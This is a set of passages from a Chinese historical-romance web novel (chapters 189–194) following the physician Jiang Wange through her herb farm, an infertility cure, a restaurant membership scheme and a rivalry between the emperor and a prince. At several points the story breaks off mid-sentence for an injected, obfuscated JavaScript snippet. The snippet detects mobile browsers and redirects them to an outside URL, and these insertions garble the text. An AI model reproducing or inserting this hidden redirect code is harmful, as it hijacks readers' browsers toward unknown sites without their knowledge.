她说得直白,但石头能感觉到,姜绾歌心中确实有善意。这个女人嘴硬心软,总是用最粗鲁的话掩饰内心的温柔。 马车继续前行,夕阳西下时终于回到了京城。然而姜绾歌没想到的是,刚进城就感受到了一种异样的氛围。 街上的百姓都行色匆匆,议论纷纷,似乎发生了什么大事。 东家,您听到了吗?阿福凑过来小声说,陛下今天没有召见任何大臣,据说心情很不好。 姜绾歌心头一跳,莫非是因为昨夜的事?顾铭轩该不会真的生她的气吧? 管他呢,她强作镇定,老娘又不是他的什么人,他生气关我什么事? 话虽这么说,但她心中确实有些忐忑。一个皇帝的怒火,可不是闹着玩的。 回到杏林堂,姜绾歌正准备整理今天的收获,门外忽然传来马蹄声。她透过窗棂一看,只见顾云霁骑着马从街上经过,看到杏林堂亮着灯,他调转马头走了过来。 姜大夫今日出城了?顾云霁翻身下马,语气轻松,本王正好路过,进来坐坐。 王爷请进,姜绾歌让阿福去准备茶水,今天确实出了趟城,去看药田。 药田?顾云霁眼中闪过一丝兴趣,姜大夫还要自己种药材? 那当然!姜绾歌得意地说,老娘要建自己的药材基地,以后就不用受那些药商的气了! 顾云霁坐下后,仔细听她讲述今天的经历。当听到她和老赵签订三年合同,还雇佣佃农干活时,他眼中露出赞赏的神色。 有想法,他点头评价,不过光有想法还不够,还得有实际行动。明日本王有空,不如陪你再去一趟,看看还有什么需要改进的地方。 真的?姜绾歌有些惊讶,王爷愿意去那种地方? 为什么不愿意?顾云霁反问,本王又不是不食人间烟火的神仙。而且... 他顿了顿,看着姜绾歌:本王倒想看看,那片让姜大夫如此上心的土地,到底有什么魅力。 第二天一早,顾云霁果然来了。他换了身简单的青衫,看起来就像个普通的读书人,如果不是那股与生俱来的贵气,还真看不出王爷的身份。 走吧,他翻身上马,今天本王当你的向导。 一路上,顾云霁展现出了姜绾歌从未见过的一面。他对农事颇有了解,不仅知道各种药材的习性,还能准确判断土质的好坏。 这里的土壤酸性偏重,他蹲在地头仔细查看,种黄芩没问题,但如果种甘草的话,需要先用石灰调节一下。 王爷懂得真多,姜绾歌有些意外,我还以为... 以为本王只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061467|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会纸上谈兵?顾云霁笑了,姜大夫,本王可是在军中待过的,行军打仗什么苦没吃过? 两人沿着田埂慢慢走着,一边走一边讨论种植的细节。老赵等药农围在旁边,听得津津有味,时不时还插几句话。 这位公子说得对,老赵点头赞同,我们种了这么多年地,确实是这个道理。 阳光洒在田野上,微风轻拂,空气中带着泥土的清香。姜绾歌专注地检查着每一寸土地,认真地记录着顾云霁的建议。 看着她认真的样子,顾云霁忽然停下脚步,目光变得深邃。 姜绾歌,他忽然开口,声音很轻,你扎根于此的样子,比困在金丝笼里顺眼多了。 姜绾歌正在查看土壤的动作一顿,心跳莫名加速。她没有抬头,也没有回话,但心中却涌起一丝异样的感觉。 这句话的含义她当然听得出来。顾云霁是在暗示,她现在这种自由自在的状态,比成为深宫中的贵妃要好得多。 王爷说笑了,她强装镇定,我就是个开药铺的,哪有什么金丝笼不金丝笼的。 顾云霁没有再说什么,但那句话却像种子一样在姜绾歌心中生根发芽。 下午时分,天空忽然阴沉下来,看样子要下雨了。 快走,顾云霁催促道,要下大雨了。 果然,刚回到城里,天空就下起了倾盆大雨。两人在杏林堂里避雨,衣服都有些湿透了。 阿福,快去准备热水和干净衣裳,姜绾歌吩咐道,王爷这身衣服湿了。 不必了,顾云霁摆手,本王回府换就是。不过... 他忽然脸色严肃起来:姜绾歌,有件事本王必须提醒你。 什么事? 最近户部有人在打听你的底细,顾云霁压低声音,特别是关于囤粮的事。你要小心些。 姜绾歌心头一跳:囤粮?我什么时候囤粮了? 本王知道你在准备什么,顾云霁意味深长地看着她,但有些事情,知道的人越少越好。 第189章 医者仁心 这话说得模糊,但姜绾歌听出了警告的意味。看来顾云霁已经猜到了她的一些计划。 多谢王爷提醒,她点头道谢。 不客气,顾云霁起身准备离开,雨停了,本王该走了。 等等,姜绾歌叫住他,王爷淋了雨,喝碗姜汤再走吧,免得着凉。 她亲自去厨房熬了碗姜汤,热气腾腾地端给顾云霁。 多谢,顾云霁接过碗,一饮而尽,姜大夫的手艺不错。 那当然,老娘可是大夫,姜绾歌得意地说,治病救人的本事还是有的。 看着她略带骄傲的神情,顾云霁嘴角勾起一丝笑意。这个女人总是这样,表面泼辣实则温柔,让人忍不住想要亲近。 那本王就放心了,他放下碗,以后有什么需要帮忙的地方,尽管开口。 为什么要帮我?姜绾歌直接问道。 因为...顾云霁停顿了一下,然后笑着说,因为本王看好你的药田事业。 这个回答显然不是真话,但姜绾歌也没有追问。有些事情,心知肚明就够了。 半月后的午后,承恩公府的后花园里鸟语花香。姜绾歌提着药箱从侧门进入,直奔内院的雅室。 承恩公夫人已经在那里等候多时,脸上带着掩饰不住的焦急。自从上次翠儿的事情解决后,她对姜绾歌愈发信任,这次又是为了私密的妇科疾病求治。 绾歌,你总算来了,承恩公夫人起身相迎,我这身子... 夫人别急,先让我瞧瞧,姜绾歌放下药箱,具体什么症状? 就是...就是那事总是不成,承恩公夫人红着脸说,我和老爷成亲这么多年,肚子一直没动静。眼看着侍妾们一个个有了身孕,我心里真是... 说到这里,她的眼圈都红了。在这个时代,不孕对于正妻来说是天大的罪过,不仅会失去丈夫的宠爱,连在家族中的地位都会动摇。 夫人莫要着急,让我先把把脉,姜绾歌让她坐下,三指搭在她的手腕上。 脉象细弱,有些滑涩不畅。姜绾歌又仔细询问了月事情况,基本判断出了病因。 夫人这是宫寒导致的不孕,她放开手,腹部受寒,气血不畅,自然难以受孕。不过这病不算严重,好好调理还是有希望的。 真的?承恩公夫人激动得抓住她的手,绾歌,你可一定要救救我啊! 夫人放心,老娘既然收了你的诊金,就一定把你治好,姜绾歌拍拍她的手,不过这个病需要内外同治,可能要用一些...特殊的手法。 什么手法? 姜绾歌从药箱里取出一根细细的银管,长约三寸,一端是喇叭形的开口,另一端封闭,上面还有几个小孔。 这是银导管,她解释道,我要用它将药液直接注入腹部,这样药效更直接,见效也更快。 承恩公夫人看着那根银管,脸色有些发白:这...这不会有危险吧? 当然有风险,姜绾歌实话实说,但不治疗风险更大。夫人,你觉得是冒险一试,还是继续这样下去? 承恩公夫人咬咬牙:试!我相信你! 接下来的治疗过程极其谨慎。姜绾歌先让夫人服下麻沸散,然后用烧酒反复清洗银导管,确保绝对洁净。 夫人,放松,深呼吸,她一边操作一边安慰,马上就好了。 银导管缓缓推入,承恩公夫人紧咬牙关,额头上沁出细密的汗珠。姜绾歌动作轻柔而精准,将调制好的药液一点点注入宫腔。 好了,她轻轻取出银导管,现在开始施针疏通经络。 银针在她指间翻飞,准确地刺入承恩公夫人的穴位。三阴交、关元、气海...每一针都刺得极其精准,手法娴熟得令人叹服。 这些穴位主管妇人的生育之能,姜绾歌一边施针一边解释,配合宫腹部注药,应该能有效改善宫寒的症状。 半个时辰后,治疗结束。承恩公夫人脸色明显好了很多,原本苍白的面色泛起一丝红润。 感觉怎么样?姜绾歌收起银针。 好多了,承恩公夫人惊喜地说,下腹暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065201|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖的,以前总是冰冷冰冷的。 这只是第一次治疗,姜绾歌叮嘱道,还需要连续治疗三个月,每半月一次。另外我再开些温宫的汤药,配合服用。 正当两人商议后续治疗事宜时,外面传来脚步声。一个小太监恭敬地走了进来。 承恩公夫人吉祥,姜大夫安好,小太监行礼道,奴才奉陛下之命,给姜大夫送些东西。 说着,他从托盘上取下一个精美的锦盒,还有一封信笺。 姜绾歌心头一跳,接过锦盒打开一看,里面是一套制作精良的金针,每一根都闪着金光,显然是宫中的珍品。信笺上只有简单几个字:安心诊治,朕信你。 这...这是御制金针?承恩公夫人看得目瞪口呆,陛下竟然... 多谢陛下恩典,姜绾歌强作镇定地收下礼物,请公公代我谢过陛下。 小太监笑眯眯地应了声,又从怀里取出几个小瓷瓶:这是宫中的珍药,陛下说配合姜大夫的治疗使用。 等太监走后,承恩公夫人看向姜绾歌的眼神完全变了。能让皇帝亲自送针送药,这份恩宠已经不是一般人能享受的了。 绾歌,你真是...承恩公夫人欲言又止。 夫人想多了,姜绾歌装作不在意,陛下只是关心民间疾苦,我也是凑巧罢了。 但她心中却翻江倒海。顾铭轩这是什么意思?她治疗承恩公夫人的事如此隐秘,他是怎么知道的?这分明是在展示他的情报网络有多厉害! 更要命的是,那句朕信你分明是在表达某种深层的含义。 刚送走太监,姜绾歌正要继续和承恩公夫人商议治疗方案,外面又传来动静。这次是承恩公府的门房匆匆跑来汇报。 夫人,云霁王爷在府门外求见,门房气喘吁吁地说,说是路过此地,想拜会老爷。 王爷?承恩公夫人有些意外,老爷今日不在府中啊。 王爷说不要紧,就是随便走走,门房继续说,还说如果姜大夫在的话,想请教一些医术上的问题。 第190章 怀孕了 姜绾歌心中暗叫不妙。顾云霁这个时候出现,绝对不是巧合! 夫人,我先告辞了,她连忙收拾药箱,改日再来为您复诊。 别急啊,承恩公夫人拉住她,既然王爷想见你,那就见见吧。我去安排茶点。 没办法,姜绾歌只能硬着头皮走到花厅。顾云霁已经在那里等着了,今日他穿了件月白色的锦袍,整个人显得格外雅致。 姜大夫,他起身行礼,嘴角带着似笑非笑的表情,又见面了。 王爷,姜绾歌回礼,心中警惕,您今日怎么有空到承恩公府来? 本王正好路过,想起承恩公是父皇时期的老臣,特来拜访,顾云霁说得滴水不漏,没想到承恩公不在,倒是遇见了姜大夫。 承恩公夫人很快安排了茶点退下,花厅里只剩下两人。 姜大夫今日来此,是为了给夫人治病?顾云霁端起茶盏,状似无意地问。 王爷消息真灵通,姜绾歌冷笑,连这种私事都知道。 本王只是关心朋友罢了,顾云霁不以为意,尚书府水深,姜大夫妙手仁心,也莫要卷入太深。 这话说得意味深长。姜绾歌听出了警告的意味——承恩公在朝中的地位复杂,她频繁出入这里可能会惹上麻烦。 多谢王爷提醒,她点头道谢。 另外,顾云霁放下茶盏,目光在她身上扫过,陛下这针...用着可顺手? 这一句话如同晴天霹雳!姜绾歌心头巨震,顾云霁竟然连顾铭轩刚刚送针的事都知道?这说明什么?说明他也在暗中监视着这里的一举一动! 王爷什么意思?她强作镇定。 没什么意思,顾云霁笑了笑,只是觉得陛下对姜大夫真是关怀备至。连治病用的针都要亲自过问,这份心意...很难得啊。 他的话里带着明显的讽刺意味。姜绾歌听得出来,顾云霁这是在暗示顾铭轩对她的关注已经超出了正常范围,也是在提醒她其中的风险。 王爷,有话就直说吧,姜绾歌有些不耐烦,绕来绕去的,老娘听着累。 好,那本王就直说了,顾云霁收起笑容,神色变得严肃,姜绾歌,你现在的处境很微妙。陛下对你的关注已经不是秘密,朝中有很多人在盯着你。 所以呢? 所以你要小心,顾云霁压低声音,特别是在尚书府这种地方。承恩公表面忠诚,实际上心思复杂。你频繁出入他府中,难免被人误会。 姜绾歌听出了他话中的关切。虽然顾云霁的方式很隐晦,但确实是在为她的安全考虑。 我知道了,她点头应道,多谢王爷关心。 不客气,顾云霁起身告辞,本王还有事,先走了。保重。 看着顾云霁离去的身影,姜绾歌心情五味杂陈。今天这两个男人的反应让她深深感受到了自己处境的复杂。 顾铭轩的金针是关怀也是监视,顾云霁的提醒是善意也是警告。她现在就像走钢丝一样,稍有不慎就会跌入深渊。 接下来的三个月里,姜绾歌定期为承恩公夫人治疗。每次都要小心翼翼地避开各方的耳目,治疗过程也格外谨慎。 银导管注药的手法越来越熟练,针灸的技艺也日渐精进。承恩公夫人的身体状况明显改善,月事调顺了,脸色也红润了许多。 半个月后的一个清晨,承恩公夫人派人来报喜——她有了身孕! 姜大夫!真的怀上了!承恩公夫人激动得眼泪直流,太医都说没希望了,只有你治好了我! 姜绾歌为她把脉确认,脉象果然有了滑数的喜脉征象。 恭喜夫人,她由衷地祝贺,不过前三月要格外小心,多休息,少走动。 知道知道,承恩公夫人连连点头,绾歌,这份恩情我这辈子都不会忘记! 说着,她从怀里取出一个精美的小盒子:这是我的一点心意,请务必收下。 盒子里是一只玉麒麟,通体碧绿,雕工精细,一看就价值不菲。 夫人,这太贵重了...姜绾歌推辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065202|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 收下吧,承恩公夫人强行塞给她,你救了我的命,也救了我在这个家的地位。这点东西算什么? 姜绾歌最终还是收下了玉麒麟。临别时,承恩公夫人忽然压低声音说了句话,让她心中一寒。 绾歌,告诉你个好消息,承恩公夫人神秘地笑了,我已经让老爷把那几个碍眼的丫头都发卖了。以后府里就清净了。 姜绾歌掩袖藏起心中的冷意。她想起几个月前翠儿流产的事,还有现在这些侍妾的下场,深深感受到了这个时代女性生存的残酷。 为了保住自己的地位,承恩公夫人可以毫不留情地除掉所有威胁。而那些无辜的丫鬟,只能成为权力斗争的牺牲品。 夫人说笑了,她勉强笑道,我只管治病,别的事不关我的事。 回到杏林堂,阿福兴奋地汇报:东家,今天又有五位夫人派人来约诊,都是想求子的! 五位?姜绾歌挑眉,都是什么人? 有工部尚书夫人、户部侍郎夫人,还有几个大商贾的夫人,阿福掰着手指数,她们听说您治好了承恩公夫人,都想请您出诊。 诊金呢? 都说愿意出一百两!阿福激动得手舞足蹈,东家,咱们这下真的要发财了! 姜绾歌看着手中的玉麒麟,心情复杂。承恩公夫人的成功案例让她在贵妇圈中的声望达到了顶峰,但也让她更深地卷入了这个复杂的上层社会。 每一个求诊的贵妇背后,都代表着一个复杂的利益集团。她现在不仅仅是个大夫,更像是个**棋子,被各方力量关注着。 接,都接了,她最终决定,不过价格要再涨一涨,每诊一百五十两。 一百五十两?阿福咂舌,会不会太贵了? 贵?姜绾歌冷笑,老娘治的是绝症,救的是她们的命和地位!这点钱算什么? 她说得没错。在这个时代,不孕对于贵妇来说就是绝症。能治好这种病,别说一百五十两,就是一千五百两也有人愿意出。 第191章 玉食牌. 夜深人静时,姜绾歌独自坐在后院的小亭里,看着手中的玉麒麟发呆。 今天发生的一切让她感触良多。 救人一命,胜造七级浮屠,她自言自语,但有时候救了一个人,可能就害了另一个人。 正想着,耳边忽然传来轻微的脚步声。她警觉地抬头,只见墙头出现一个熟悉的身影——顾云霁。 夜深了还不休息?他轻巧地跳下墙头,走到她身边坐下。 睡不着,姜绾歌没好气地说,王爷大晚上的翻墙,不怕被人看见? 本王的轻功你还不放心?顾云霁笑了,听说承恩公夫人有了身孕,恭喜姜圣手。 消息传得真快,姜绾歌苦笑,看来京城里没有什么秘密。 确实没有,顾云霁意味深长地说,特别是关于你的事,传得格外快。 两人沉默了片刻,夜风轻拂,带着淡淡的花香。 姜绾歌,顾云霁忽然开口,你有没有想过,自己现在的处境? 什么意思? 你现在已经不是那个默默无闻的小药铺掌柜了,顾云霁转头看着她,你是京城最有名的女医,是贵妇们的救星,也是...某些人关注的焦点。 姜绾歌听出了他话中的深意:你是说,我现在很危险? 不是危险,是机遇,顾云霁纠正道,关键看你怎么把握。 夜色更深了,远处传来更鼓声。顾云霁起身告辞,但临走前又回头看了她一眼。 姜绾歌,记住我之前说过的话,他认真地说,有些选择,错过了就没有了。 看着顾云霁消失在夜色中的身影,姜绾歌紧握着手中的玉麒麟,心中思绪万千。 春日的醉仙楼格外热闹,姜绾歌站在二楼的雅间里,手中拿着一张鎏金的卡片,正在仔细端详。卡片不大,但制作精美,正面印着玉食牌三个烫金大字,背面则是醉仙楼的印记。 东家,这玩意儿真能赚钱?阿福有些怀疑地问道,五十两银子的预存,会有人愿意吗? 你懂什么?姜绾歌没好气地瞪了他一眼,这叫会员制!越是贵的东西,这些贵妇人越是觉得有面子! 她将卡片放在桌上,得意地解释道:预存五十两银子,就能享受专属雅间,还能优先品尝新品。最重要的是,这代表身份!能拿得出这张卡的,都不是一般人! 这个想法在她脑海中酝酿了很久。既然医术让她在贵妇圈中名声大噪,为什么不趁机发展餐饮业务?醉仙楼的药膳本来就有特色,再配上会员制的饥饿营销,绝对能大赚一笔。 那咱们找谁做第一个客户呢?阿福问道。 当然是秋姨娘!姜绾歌理所当然地说,她在贵妇圈里人脉最广,有她带头,其他人自然会跟风。 话音未落,楼下就传来熟悉的笑声。秋姨娘风风火火地走了上来,今日她穿了件桃红色的锦袍,头上簪着支珍珠花,整个人显得雍容华贵。 绾歌妹妹,你派人说有好事要跟姐姐商量?秋姨娘一进雅间就开门见山,什么好事这么神秘? 秋姐姐,你来得正好!姜绾歌连忙起身迎接,我正要给你看个好东西! 她将那张鎏金卡片递给秋姨娘:姐姐看看这个怎么样? 秋姨娘接过卡片仔细看了看,眼中闪过一丝惊艳:这卡片做得真精致!玉食牌...这是什么意思? 这是我新推出的会员卡,姜绾歌详细解释道,预存五十两银子,就能成为醉仙楼的贵宾会员。专享三楼的雅间,优先品尝新研发的药膳,还有其他专属服务。 专享雅间?秋姨娘来了兴趣,三楼我还没去过呢! 那是当然,三楼现在还在装修,姜绾歌神秘地说,全部按照皇宫的规制来布置,紫檀家具,丝绸帘幔,连茶具都是景德镇的官窑! 秋姨娘听得眼中放光。对于这些贵妇人来说,享受的不仅仅是美食,更重要的是那种尊贵的感觉。 那我要第一张!她毫不犹豫地说,五十两是吧?我现在就付! 姐姐爽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正当姜绾歌沉浸在成功的喜悦中时,她忽然发现了一个有趣的细节。在会员登记册上,有一个名叫李富贵的人竟然一次性购买了三张会员卡。 李富贵?她皱眉思索,这个名字怎么这么俗? 第192章 李富贵 她仔细查看这个人的信息,发现他自称是绸缎庄的老板,住址写的是城东的富贵胡同。但这些信息看起来都很可疑。 阿福,你去查查这个李富贵,她指着登记册,我总觉得这人有问题。 两天后,阿福带回了令人震惊的消息。 东家,那个李富贵是假名!阿福压低声音说,我派人去城东查了,根本没有什么富贵胡同! 果然有鬼!姜绾歌眼中闪过一丝冷光,能一次买三张卡的人,绝对不是普通商人。你有没有查到他的**? 查到了!阿福兴奋地说,那人是刑部尚书府的管家!经常代替尚书大人处理一些...不方便露面的事情。 刑部尚书?姜绾歌心头一跳,张尚书那个老狐狸? 张尚书在朝中以严厉著称,表面上清正廉洁,实际上却贪得无厌。他用化名购买会员卡,显然是想在醉仙楼里进行一些见不得光的交易。 好得很!姜绾歌冷笑,既然他想在老娘的地盘上搞鬼,那就别怪老娘不客气了! 她立刻制定了监视计划:阿福,你安排几个机灵的小伙计,专门盯着那个李富贵。看他请什么人,说什么话,都要详细记录下来。 明白!阿福应声而去。 正当姜绾歌忙着布置情报网时,秋姨娘又来了。不过这次她的脸色不太好看。 绾歌妹妹,我有件事想请教你,秋姨娘坐下后有些欲言又止。 姐姐有话直说,咱们之间还客气什么?姜绾歌倒了杯茶递给她。 就是...就是关于身材的事,秋姨娘红着脸说,最近老爷总是夸那些年轻丫头身材好,我心里...我心里很不是滋味。 姜绾歌心中一动,这倒是个好机会。 姐姐是想瘦身?她试探着问。 对!秋姨娘点头如捣蒜,绾歌妹妹,你医术高明,有没有什么法子能让我瘦下来? 当然有!姜绾歌胸有成竹地说,我正好调制了一种瘦身茶,效果奇佳。不过... 她故意停顿了一下:这茶有些珍贵,原料都是从南洋运来的,成本很高。 多少钱我都愿意出!秋姨娘急切地说。 钱倒是其次,姜绾歌摆手,主要是姐姐要坚持喝,而且要配合适当的运动。 她从药箱里取出一个精美的小罐子,里面装着淡绿色的茶叶,散发着清淡的香味。 这就是瘦身茶,每日饭前半个时辰服用,用热水冲泡即可,她详细说明用法,不过有个副作用,可能会让人食欲不振,姐姐要有心理准备。 食欲不振?秋姨娘不以为意,那正好,我正愁吃得太多呢! 交代完用法,姜绾歌忽然想起什么,装作无意地说道:对了姐姐,前几天张尚书夫人来求诊,她夸您身材丰腴,有福相呢! 张尚书夫人?秋姨娘脸色微变,她夸我丰腴? 是啊,姜绾歌点头,她说您这样的身材最有福气,不像她那么瘦弱。不过我觉得各有各的美,您说是不是? 秋姨娘的脸色明显沉了下来。丰腴在这个时代虽然不算贬义词,但对于在意身材的女人来说,这绝对不是什么好话。 她还说了什么?秋姨娘追问道。 也没什么,就是闲聊,姜绾歌装作漫不经心,她还说您和永昌伯感情真好,羡慕得很。 这话说得意味深长。秋姨娘听了,眼中闪过一丝复杂的情绪。张尚书夫人和她本来就有些暗中较劲,现在又有了这番话,梁子算是彻底结下了。 姜绾歌心中暗暗得意。这颗妒火的种子已经埋下,相信很快就会发芽开花。贵妇圈的明争暗斗,往往比朝堂上的**斗争更加激烈。 半月后,醉仙楼的会员制发布晚宴正式举行。整个醉仙楼张灯结彩,三楼的装修也全部完工,金碧辉煌得如同宫殿一般。 京城的达官贵人们纷纷前来参加,场面极其壮观。姜绾歌穿了件深蓝色的锦袍,站在大厅中央,正在向众人介绍会员制的各种优惠。 各位贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073391|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客,今晚是醉仙楼会员制的正式发布,她声音洪亮,凡是今日入会的,都能享受八折优惠! 台下响起热烈的掌声。许多人都被会员制的新颖模式吸引,纷纷询问入会事宜。 正当气氛热烈时,门口忽然走进一个身穿青色布衣的中年男子。他看起来其貌不扬,但那股与生俱来的威严却让人不敢小觑。 姜绾歌定睛一看,心头猛跳——是顾铭轩!他竟然微服来参加晚宴! 这位先生,她强压心中的震惊,上前迎接,您是... 在下顾明轩,从事丝绸生意,顾铭轩给自己起了个化名,目光灼灼地看着她,久闻醉仙楼大名,今日特来见识见识。 全场的人都停下了交谈,好奇地看着这个突然出现的陌生人。虽然他穿着普通,但那种不怒自威的气势让人侧目。 顾先生客气了,姜绾歌硬着头皮应对,今日正好是会员制发布,您有兴趣了解一下吗? 当然有兴趣,顾铭轩点头,然后做了一件让所有人都目瞪口呆的事——他从怀里取出一千两的银票,放在桌上。 在下想购买最高级的会员卡,他声音平静,但话中的豪气让人侧目,听说有玉麒麟级别的? 全场瞬间安静下来。一千两银子购买会员卡?这简直是天方夜谭! 姜绾歌也愣住了。她确实设计了玉麒麟级别的顶级会员卡,但那只是个概念,预存金额高达五百两,没想到真的有人要买! 顾先生,玉麒麟级会员确实存在,她努力保持镇定,预存五百两,享受所有顶级服务... 五百两?顾铭轩打断她,太少了。在下看好姜老板的生意,愿意预存一千两,算是投资。 说着,他将银票推到姜绾歌面前,目光深邃:姜老板,朕...不,在下看好你。 这话说得意味深长,全场的人都听出了其中的特殊含义。一个普通商人,怎么可能有如此豪气?而且那句朕虽然及时改口,但还是被有心人听到了。 第193章 两个男人的较量 姜绾歌接过银票,感觉手都在发抖。顾铭轩这是要干什么?在这么多人面前暴露身份? 就在这时,门口又传来脚步声。顾云霁施施然走了进来,今日他穿了件月白色的锦袍,整个人显得风流倜傥。 啧,本王来晚了?他看了看满场的人,然后将目光投向台上的姜绾歌,听说醉仙楼推出会员制,本王也来凑个热闹。 王爷的身份一亮出来,全场更加轰动。 云霁王爷大驾光临,小女子荣幸之至!姜绾歌连忙行礼,心中却暗叫不妙。 不必多礼,顾云霁摆手,然后看向顾铭轩,这位先生面生得很,不知是... 在下顾明轩,从事丝绸生意,顾铭轩重复了一遍化名,但语气中带着明显的警告。 原来如此,顾云霁似笑非笑,既然顾先生如此有雅兴,本王也不能落后。 他从袖中取出五百两银票,轻描淡写地说:本王也要一张玉麒麟级会员卡。 两张巨额银票摆在桌上,众人的目光都聚焦在姜绾歌身上。她感觉自己就像站在火山口上,随时可能被烧成灰烬。 王爷,玉麒麟级会员卡只有一张...她试图缓解尴尬。 那就再制作一张,顾云霁打断她,本王的"投资",总得有些特权。 说着,他走到姜绾歌面前,将银票放入她的掌心,顺势握了握她的手。这个动作看似无意,实际上充满了占有的意味。 顾铭轩看到这一幕,眼神瞬间变得冰寒。他也走了过来,站在姜绾歌的另一边,形成了一种无形的对峙。 两个男人一左一右,将姜绾歌夹在中间。全场的目光都聚焦在这里,气氛瞬间凝固。 两位爷...姜绾歌想要说些什么缓解气氛,但话还没出口就被打断了。 姜老板,顾铭轩忽然开口,声音平静得可怕,在下的投资,应该能得到特殊待遇吧? 当然,顾云霁接话,本王的投资也不少,想必也有相应的回报? 两人话里有话,明争暗斗,让在场的所有人都感受到了一种看不见的压力。 这场会员制发布晚宴,已经彻底变成了两个男人的较量... 会员制发布晚宴结束后的第三天,杏林堂里来了一个意外的客人。 那是个二十出头的年轻人,穿着已经洗得发白的青衫,手里提着个破旧的书篮,整个人瘦得像根竹竿。他在店门口徘徊了许久,似乎在犹豫要不要进来。 这位公子,有什么需要帮助的吗?姜绾歌正在整理药材,看到他的样子,主动开口询问。 在下...在下是来求医的,年轻人结结巴巴地说,听说姜大夫医术高明,想...想请您看看。 姜绾歌打量着他,发现此人虽然衣衫简陋,但眼神清亮,举止间透着一股书卷气。特别是他手中的那个书篮,虽然破旧但收拾得很整洁,里面露出几本书的书脊。 你是读书人?她直接问道。 是...是的,年轻人点头,在下陈墨,今年准备参加春闱。 陈墨?姜绾歌眼中闪过一丝兴趣,寒门出身? 回姜大夫,家父是个穷秀才,早年去世,家中只有老母一人,陈墨低头说道,在下苦读十年,就是希望能通过科举改变命运。 姜绾歌心中一动。一个有才华的寒门学子,如果能考中进士,将来必定感激提携之恩。而且寒门出身的官员,往往比那些世家子弟更加清正廉洁。 你身体有什么不适?她问道。 最近总是头晕眼花,夜里难以入眠,陈墨如实回答,可能是读书太累了。家中贫困,也买不起好的补品。 姜绾歌为他把脉,发现确实是用脑过度加上营养不良导致的虚弱。这种病并不难治,但需要好好调养。 你的病不重,主要是太过劳累,她放开手说,需要好好休息,配合药物调理。 多谢姜大夫,陈墨连忙行礼,不知需要多少诊金? 诊金倒是其次,姜绾歌看着他那副窘迫的样子,心中有了主意,我倒是有个提议。 什么提议? 春闱在即,你现在住在哪里? 在城外的破庙里,陈墨有些羞愧地说,那里没有房租,只是条件简陋了些。 破庙?姜绾歌皱眉,那种地方怎么能好好读书?这样吧,我醉仙楼三楼有间静室,你可以住在那里安心备考。 这...这怎么好意思?陈墨惊讶得说不出话来。 别急着拒绝,姜绾歌摆手,老娘可不是做慈善的。住在我这里可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这天夜里,姜绾歌正在楼下算账,忽然闻到一股焦糊味。她抬头一嗅,脸色顿时大变——是烟味! 第194章 七月 不好!”她霍然起身,抄起手边一壶凉茶便疾步冲上三楼。 走廊里已弥漫着薄烟,静室门缝正有黑烟丝丝缕缕溢出。姜绾歌一脚踹开房门,只见屋内火光跳跃,竟是床边的帐幔被倾倒的油灯引燃,火舌正贪婪地向上蔓延!陈墨正惊慌失措地用一件外衫扑打,却杯水车薪。 “小心!”姜绾歌低喝一声,毫不犹豫地将手中茶水泼向火源。“嗤啦”一声,白气蒸腾,火势稍减,但布料易燃,转眼又有复燃之势。 “阿福!快取水来!楼上走水了!”姜绾歌朝楼下急喊。 阿福和几个伙计闻声,提着水桶飞奔而上。众人合力扑救,一番忙乱后,火终于被扑灭。 